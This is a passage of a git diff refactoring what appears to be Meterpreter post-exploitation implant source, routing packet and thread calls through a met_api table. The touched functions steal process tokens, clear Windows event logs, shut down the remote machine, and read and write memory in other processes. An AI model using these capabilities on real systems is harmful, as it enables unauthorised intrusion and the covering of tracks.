Packet* pPacket) { - Packet* pResponse = packet_create_response(pPacket); + Packet* pResponse = met_api->packet.create_response(pPacket); DWORD dwResult = ERROR_SUCCESS; - core_update_thread_token(pRemote, NULL); + met_api->thread.update_token(pRemote, NULL); dwResult = populate_uid(pResponse); // Transmit the response - packet_transmit_response(dwResult, pRemote, pResponse); + met_api->packet.transmit_response(dwResult, pRemote, pResponse); return dwResult; } @@ -279,7 +280,7 @@ DWORD request_sys_config_drop_token(Remote* pRemote, Packet* pPacket) */ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD res = ERROR_SUCCESS; HANDLE token = NULL; int x; @@ -343,7 +344,7 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet) if (GetLastError() == ERROR_SUCCESS) { dprintf("[GETPRIVS] Got Priv %s", privs[x]); - packet_add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]); + met_api->packet.add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]); } } else @@ -359,7 +360,7 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet) } // Transmit the response - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); return res; } @@ -372,7 +373,7 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet) */ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD dwResult = ERROR_SUCCESS; HANDLE hToken = NULL; HANDLE hProcessHandle = NULL; @@ -382,7 +383,7 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) do { // Get the process identifier that we're attaching to, if any. - dwPid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); + dwPid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PID); if (!dwPid) { @@ -422,7 +423,7 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) } dprintf("[STEAL-TOKEN] so far so good, updating thread token"); - core_update_thread_token(remote, hDupToken); + met_api->thread.update_token(remote, hDupToken); dprintf("[STEAL-TOKEN] populating UID"); dwResult = populate_uid(response); @@ -438,7 +439,7 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) CloseHandle(hToken); } // Transmit the response - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); return dwResult; } @@ -564,7 +565,7 @@ DWORD add_windows_os_version(Packet** packet) } dprintf("[VERSION] Version set to: %s", buffer); - packet_add_tlv_string(*packet, TLV_TYPE_OS_NAME, buffer); + met_api->packet.add_tlv_string(*packet, TLV_TYPE_OS_NAME, buffer); } while (0); return dwResult; @@ -578,7 +579,7 @@ DWORD add_windows_os_version(Packet** packet) */ DWORD request_sys_config_localtime(Remote* remote, Packet* packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; char dateTime[128] = { 0 }; @@ -595,10 +596,10 @@ DWORD request_sys_config_localtime(Remote* remote, Packet* packet) tzi.Bias > 0 ? "-" : "+", abs(tzi.Bias / 60 * 100)); dprintf("[SYSINFO] Local Date/Time: %s", dateTime); - packet_add_tlv_string(response, TLV_TYPE_LOCAL_DATETIME, dateTime); + met_api->packet.add_tlv_string(response, TLV_TYPE_LOCAL_DATETIME, dateTime); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return result; } @@ -611,7 +612,7 @@ DWORD request_sys_config_localtime(Remote* remote, Packet* packet) */ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); CHAR computer[512], buf[512], * osArch = NULL; DWORD res = ERROR_SUCCESS; DWORD size = sizeof(computer); @@ -629,7 +630,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) break; } - packet_add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, computer); + met_api->packet.add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, computer); add_windows_os_version(&response); // sf: we dynamically retrieve GetNativeSystemInfo & IsWow64Process as NT and 2000 dont support it. @@ -667,7 +668,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) } dprintf("[SYSINFO] Arch set to: %s", osArch); - packet_add_tlv_string(response, TLV_TYPE_ARCHITECTURE, osArch); + met_api->packet.add_tlv_string(response, TLV_TYPE_ARCHITECTURE, osArch); if (hKernel32) { @@ -702,7 +703,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) _snprintf(buf, sizeof(buf)-1, "%s_%s", langname, ctryname); } - packet_add_tlv_string(response, TLV_TYPE_LANG_SYSTEM, buf); + met_api->packet.add_tlv_string(response, TLV_TYPE_LANG_SYSTEM, buf); if (ctryname) { @@ -719,9 +720,9 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) if (NetWkstaGetInfo(NULL, 102, (LPBYTE *)&localSysinfo) == NERR_Success) { - char *domainName = wchar_to_utf8(localSysinfo->wki102_langroup); - packet_add_tlv_string(response, TLV_TYPE_DOMAIN, (LPCSTR)domainName); - packet_add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users); + char *domainName = met_api->string.wchar_to_utf8(localSysinfo->wki102_langroup); + met_api->packet.add_tlv_string(response, TLV_TYPE_DOMAIN, (LPCSTR)domainName); + met_api->packet.add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users); free(domainName); } else @@ -731,7 +732,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) } while (0); // Transmit the response - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); return res; } @@ -749,16 +750,16 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet) do { - response = packet_create_response(packet); + response = met_api->packet.create_response(packet); if (!response) { dwResult = ERROR_INVALID_HANDLE; break; } - core_update_thread_token(remote, NULL); + met_api->thread.update_token(remote, NULL); - core_update_desktop(remote, -1, NULL, NULL); + met_api->desktop.update(remote, -1, NULL, NULL); if (!RevertToSelf()) dwResult = GetLastError(); @@ -766,7 +767,7 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet) } while(0); if (response) - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); return dwResult; } @@ -776,7 +777,7 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet) */ DWORD request_sys_config_driver_list(Remote *remote, Packet *packet) { - Packet* response = packet_create_response(packet); + Packet* response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; LPVOID ignored = NULL; @@ -831,17 +832,17 @@ DWORD request_sys_config_driver_list(Remote *remote, Packet *packet) if (valid) { - Packet* entry = packet_create_group(); + Packet* entry = met_api->packet.create_group(); - char* bn = wchar_to_utf8(baseName); - packet_add_tlv_string(entry, TLV_TYPE_DRIVER_BASENAME, bn); + char* bn = met_api->string.wchar_to_utf8(baseName); + met_api->packet.add_tlv_string(entry, TLV_TYPE_DRIVER_BASENAME, bn); free(bn); - char* fn = wchar_to_utf8(fileName); - packet_add_tlv_string(entry, TLV_TYPE_DRIVER_FILENAME, fn); + char* fn = met_api->string.wchar_to_utf8(fileName); + met_api->packet.add_tlv_string(entry, TLV_TYPE_DRIVER_FILENAME, fn); free(fn); - packet_add_group(response, TLV_TYPE_DRIVER_ENTRY, entry); + met_api->packet.add_group(response, TLV_TYPE_DRIVER_ENTRY, entry); } } } @@ -854,7 +855,7 @@ DWORD request_sys_config_driver_list(Remote *remote, Packet *packet) } } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/eventlog/eventlog.c b/c/meterpreter/source/extensions/stdapi/server/sys/eventlog/eventlog.c index 886dd94d..fa074841 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/eventlog/eventlog.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/eventlog/eventlog.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" /* * Opens a event log and returns the associated HANDLE to the caller if the @@ -12,12 +13,12 @@ */ DWORD request_sys_eventlog_open(Remote * remote, Packet * packet) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); LPCTSTR sourceName = NULL; DWORD result = ERROR_SUCCESS; HANDLE hEvent; - sourceName = packet_get_tlv_value_string(packet, TLV_TYPE_EVENT_SOURCENAME); + sourceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EVENT_SOURCENAME); if(!sourceName) { result = ERROR_INVALID_PARAMETER; @@ -28,11 +29,11 @@ DWORD request_sys_eventlog_open(Remote * remote, Packet * packet) result = GetLastError(); } else { - packet_add_tlv_qword(response, TLV_TYPE_EVENT_HANDLE, (QWORD)hEvent); + met_api->packet.add_tlv_qword(response, TLV_TYPE_EVENT_HANDLE, (QWORD)hEvent); } } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -46,12 +47,12 @@ DWORD request_sys_eventlog_open(Remote * remote, Packet * packet) */ DWORD request_sys_eventlog_numrecords(Remote * remote, Packet * packet) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); HANDLE hEvent = NULL; DWORD numRecords; DWORD result = ERROR_SUCCESS; - hEvent = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); + hEvent = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); if(!hEvent) { result = ERROR_INVALID_PARAMETER; @@ -61,11 +62,11 @@ DWORD request_sys_eventlog_numrecords(Remote * remote, Packet * packet) result = GetLastError(); } else { - packet_add_tlv_uint(response, TLV_TYPE_EVENT_NUMRECORDS, numRecords); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_NUMRECORDS, numRecords); } } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -81,16 +82,16 @@ DWORD request_sys_eventlog_numrecords(Remote * remote, Packet * packet) */ DWORD request_sys_eventlog_read(Remote * remote, Packet * packet) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); HANDLE hEvent = NULL; DWORD readFlags = 0, recordOffset = 0, bytesRead, bytesNeeded; DWORD result = ERROR_SUCCESS; EVENTLOGRECORD * buf = NULL; BYTE * str = NULL; - hEvent = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); - readFlags = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_EVENT_READFLAGS); - recordOffset = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_EVENT_RECORDOFFSET); + hEvent = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); + readFlags = (DWORD)met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EVENT_READFLAGS); + recordOffset = (DWORD)met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EVENT_RECORDOFFSET); do { if(!hEvent || !readFlags) { @@ -103,7 +104,7 @@ DWORD request_sys_eventlog_read(Remote * remote, Packet * packet) &bytesRead, 0, &bytesRead, &bytesNeeded ) != 0 || GetLastError() != ERROR_INSUFFICIENT_BUFFER) { result = GetLastError(); - // packet_add_raw(response, TLV_TYPE_EVENT_BYTESNEEDED) + // met_api->packet.add_raw(response, TLV_TYPE_EVENT_BYTESNEEDED) break; } @@ -116,22 +117,22 @@ DWORD request_sys_eventlog_read(Remote * remote, Packet * packet) buf, bytesNeeded, &bytesRead, &bytesNeeded ) == 0) { result = GetLastError(); - // packet_add_raw(response, TLV_TYPE_EVENT_BYTESNEEDED) + // met_api->packet.add_raw(response, TLV_TYPE_EVENT_BYTESNEEDED) break; } - packet_add_tlv_uint(response, TLV_TYPE_EVENT_RECORDNUMBER, buf->RecordNumber); - packet_add_tlv_uint(response, TLV_TYPE_EVENT_TIMEGENERATED, buf->TimeGenerated); - packet_add_tlv_uint(response, TLV_TYPE_EVENT_TIMEWRITTEN, buf->TimeWritten); - packet_add_tlv_uint(response, TLV_TYPE_EVENT_ID, buf->EventID); - packet_add_tlv_uint(response, TLV_TYPE_EVENT_TYPE, buf->EventType); - packet_add_tlv_uint(response, TLV_TYPE_EVENT_CATEGORY, buf->EventCategory); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_RECORDNUMBER, buf->RecordNumber); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_TIMEGENERATED, buf->TimeGenerated); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_TIMEWRITTEN, buf->TimeWritten); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_ID, buf->EventID); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_TYPE, buf->EventType); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_CATEGORY, buf->EventCategory); - packet_add_tlv_raw(response, TLV_TYPE_EVENT_DATA, (BYTE *)buf + buf->DataOffset, buf->DataLength); + met_api->packet.add_tlv_raw(response, TLV_TYPE_EVENT_DATA, (BYTE *)buf + buf->DataOffset, buf->DataLength); str = (BYTE *)buf + buf->StringOffset; while(buf->NumStrings > 0) { - packet_add_tlv_string(response, TLV_TYPE_EVENT_STRING, str); + met_api->packet.add_tlv_string(response, TLV_TYPE_EVENT_STRING, str); /* forward pass the null terminator */ while(*str++ != 0); buf->NumStrings--; @@ -139,7 +140,7 @@ DWORD request_sys_eventlog_read(Remote * remote, Packet * packet) } while(0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); if(buf) free(buf); @@ -157,19 +158,19 @@ DWORD request_sys_eventlog_read(Remote * remote, Packet * packet) */ DWORD request_sys_eventlog_oldest(Remote * remote, Packet * packet) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; - HANDLE hEvent = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); + HANDLE hEvent = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); DWORD oldest; if(GetOldestEventLogRecord(hEvent, &oldest) == 0) { result = GetLastError(); } else { - packet_add_tlv_uint(response, TLV_TYPE_EVENT_RECORDNUMBER, oldest); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EVENT_RECORDNUMBER, oldest); } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -185,15 +186,15 @@ DWORD request_sys_eventlog_oldest(Remote * remote, Packet * packet) */ DWORD request_sys_eventlog_clear(Remote * remote, Packet * packet) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; - HANDLE hEvent = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); + HANDLE hEvent = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); if(ClearEventLog(hEvent, NULL) == 0) { result = GetLastError(); } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -207,15 +208,15 @@ DWORD request_sys_eventlog_clear(Remote * remote, Packet * packet) */ DWORD request_sys_eventlog_close(Remote * remote, Packet * packet) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; - HANDLE hEvent = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); + HANDLE hEvent = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EVENT_HANDLE); if(CloseEventLog(hEvent) == 0) { result = GetLastError(); } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } \ No newline at end of file diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/power/power.c b/c/meterpreter/source/extensions/stdapi/server/sys/power/power.c index cf291353..62108e52 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/power/power.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/power/power.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" /* * Shutdowns, restarts, etc the remote machine. Calls ExitWindowsEx @@ -10,14 +11,14 @@ */ DWORD request_sys_power_exitwindows(Remote * remote, Packet * packet) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); HANDLE token = NULL; TOKEN_PRIVILEGES tkp; DWORD result = ERROR_SUCCESS; - DWORD flags = packet_get_tlv_value_uint(packet, TLV_TYPE_POWER_FLAGS); - DWORD reason = packet_get_tlv_value_uint(packet, TLV_TYPE_POWER_REASON); + DWORD flags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_POWER_FLAGS); + DWORD reason = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_POWER_REASON); // result = ERROR_INVALID_PARAMETER; @@ -46,7 +47,7 @@ DWORD request_sys_power_exitwindows(Remote * remote, Packet * packet) } } while(0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); if(token) CloseHandle(token); diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c index d839f503..7aa928d5 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" DWORD remote_load_library(HANDLE process, LPCSTR image, HMODULE *base); @@ -15,14 +16,14 @@ DWORD remote_unload_library(HANDLE process, HMODULE base); */ DWORD request_sys_process_image_load(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; HANDLE handle; LPCSTR image; HMODULE base; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - image = packet_get_tlv_value_string(packet, TLV_TYPE_IMAGE_FILE_PATH); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + image = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_IMAGE_FILE_PATH); do { @@ -49,12 +50,12 @@ DWORD request_sys_process_image_load(Remote *remote, Packet *packet) } // Add the base address to the result - packet_add_tlv_qword(response, TLV_TYPE_IMAGE_BASE, (QWORD)base); + met_api->packet.add_tlv_qword(response, TLV_TYPE_IMAGE_BASE, (QWORD)base); } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -68,7 +69,7 @@ DWORD request_sys_process_image_load(Remote *remote, Packet *packet) */ DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; HMODULE mod = NULL; BOOLEAN unload = FALSE; @@ -77,9 +78,9 @@ DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet) LPCSTR procedure; LPVOID address = NULL; - process = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - image = packet_get_tlv_value_string(packet, TLV_TYPE_IMAGE_FILE); - procedure = packet_get_tlv_value_string(packet, TLV_TYPE_PROCEDURE_NAME); + process = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + image = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_IMAGE_FILE); + procedure = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_PROCEDURE_NAME); do { @@ -122,7 +123,7 @@ DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet) } // Set the procedure address on the response - packet_add_tlv_qword(response, TLV_TYPE_PROCEDURE_ADDRESS, (QWORD)address); + met_api->packet.add_tlv_qword(response, TLV_TYPE_PROCEDURE_ADDRESS, (QWORD)address); } while (0); @@ -134,7 +135,7 @@ DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet) remote_unload_library(process, mod); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -147,13 +148,13 @@ DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet) */ DWORD request_sys_process_image_unload(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle; LPVOID base; DWORD result = ERROR_SUCCESS; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_IMAGE_BASE); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_IMAGE_BASE); do { @@ -177,7 +178,7 @@ DWORD request_sys_process_image_unload(Remote *remote, Packet *packet) } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -195,7 +196,7 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) DWORD baseSize); DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path, DWORD pathSize); - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HMODULE *modules = NULL; BOOLEAN valid = FALSE; HMODULE psapi = NULL; @@ -204,7 +205,7 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) DWORD needed = 0, actual, tries = 0; DWORD index; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); do { @@ -301,13 +302,13 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) tlvs[2].header.type = TLV_TYPE_IMAGE_NAME; tlvs[2].buffer = (PUCHAR)name; - packet_add_tlv_group(response, TLV_TYPE_IMAGE_GROUP, tlvs, 3); + met_api->packet.add_tlv_group(response, TLV_TYPE_IMAGE_GROUP, tlvs, 3); } } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); // Cleanup if (modules) diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c index e3b6aa83..7ac22df9 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" /*! * @brief Allocates memory in the context of the supplied process. @@ -11,7 +12,7 @@ */ DWORD request_sys_process_memory_allocate(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle; LPVOID base; SIZE_T size; @@ -19,16 +20,16 @@ DWORD request_sys_process_memory_allocate(Remote *remote, Packet *packet) DWORD alloc, prot; // Snag the TLV values - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); - size = (SIZE_T)packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); - alloc = packet_get_tlv_value_uint(packet, TLV_TYPE_ALLOCATION_TYPE); - prot = packet_get_tlv_value_uint(packet, TLV_TYPE_PROTECTION); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); + size = (SIZE_T)met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + alloc = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ALLOCATION_TYPE); + prot = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROTECTION); // Allocate the memory if ((base = VirtualAllocEx(handle, base, size, alloc, prot))) { - packet_add_tlv_qword(response, TLV_TYPE_BASE_ADDRESS, (QWORD)base); + met_api->packet.add_tlv_qword(response, TLV_TYPE_BASE_ADDRESS, (QWORD)base); } else { @@ -36,7 +37,7 @@ DWORD request_sys_process_memory_allocate(Remote *remote, Packet *packet) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -50,22 +51,22 @@ DWORD request_sys_process_memory_allocate(Remote *remote, Packet *packet) */ DWORD request_sys_process_memory_free(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle; SIZE_T size; LPVOID base; DWORD result = ERROR_SUCCESS; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); - size = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); + size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LENGTH); // Free the memory if (!VirtualFreeEx(handle, base, size, MEM_RELEASE)) result = GetLastError(); // Transmit the response - packet_transmit_response(result, remote, packet); + met_api->packet.transmit_response(result, remote, packet); return ERROR_SUCCESS; } @@ -80,7 +81,7 @@ DWORD request_sys_process_memory_free(Remote *remote, Packet *packet) */ DWORD request_sys_process_memory_read(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); LPVOID buffer = NULL; HANDLE handle; SIZE_T size; @@ -88,9 +89,9 @@ DWORD request_sys_process_memory_read(Remote *remote, Packet *packet) SIZE_T bytesRead = 0; DWORD result = ERROR_SUCCESS; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); - size = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); + size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LENGTH); do { @@ -119,13 +120,13 @@ DWORD request_sys_process_memory_read(Remote *remote, Packet *packet) } // Add the raw buffer to the response - packet_add_tlv_raw(response, TLV_TYPE_PROCESS_MEMORY, buffer, + met_api->packet.add_tlv_raw(response, TLV_TYPE_PROCESS_MEMORY, buffer, (DWORD)bytesRead); } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); // Free the temporary storage if (buffer) @@ -144,22 +145,22 @@ DWORD request_sys_process_memory_read(Remote *remote, Packet *packet) */ DWORD request_sys_process_memory_write(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle; LPVOID base; DWORD result = ERROR_SUCCESS; size_t written = 0; Tlv data; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); do { // Invalid handle, base, or data? if ((!handle) || (!base) || - (packet_get_tlv(packet, TLV_TYPE_PROCESS_MEMORY, &data)) != ERROR_SUCCESS) + (met_api->packet.get_tlv(packet, TLV_TYPE_PROCESS_MEMORY, &data)) != ERROR_SUCCESS) { result = ERROR_INVALID_PARAMETER; break; @@ -175,12 +176,12 @@ DWORD request_sys_process_memory_write(Remote *remote, Packet *packet) } // Set the number of bytes actually written on the response - packet_add_tlv_uint(response, TLV_TYPE_LENGTH, (DWORD)written); + met_api->packet.add_tlv_uint(response, TLV_TYPE_LENGTH, (DWORD)written); } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -194,14 +195,14 @@ DWORD request_sys_process_memory_write(Remote *remote, Packet *packet) DWORD request_sys_process_memory_query(Remote *remote, Packet *packet) { MEMORY_BASIC_INFORMATION info; - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle; LPVOID base; DWORD result = ERROR_SUCCESS; SIZE_T size = 0; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); // Zero the info buffer memset(&info, 0, sizeof(info)); @@ -223,18 +224,18 @@ DWORD request_sys_process_memory_query(Remote *remote, Packet *packet) } // Pass the parameters back to the requestor - packet_add_tlv_qword(response, TLV_TYPE_BASE_ADDRESS, (QWORD)info.BaseAddress); - packet_add_tlv_qword(response, TLV_TYPE_ALLOC_BASE_ADDRESS, (QWORD)info.AllocationBase); - packet_add_tlv_uint(response, TLV_TYPE_ALLOC_PROTECTION, info.AllocationProtect); - packet_add_tlv_uint(response, 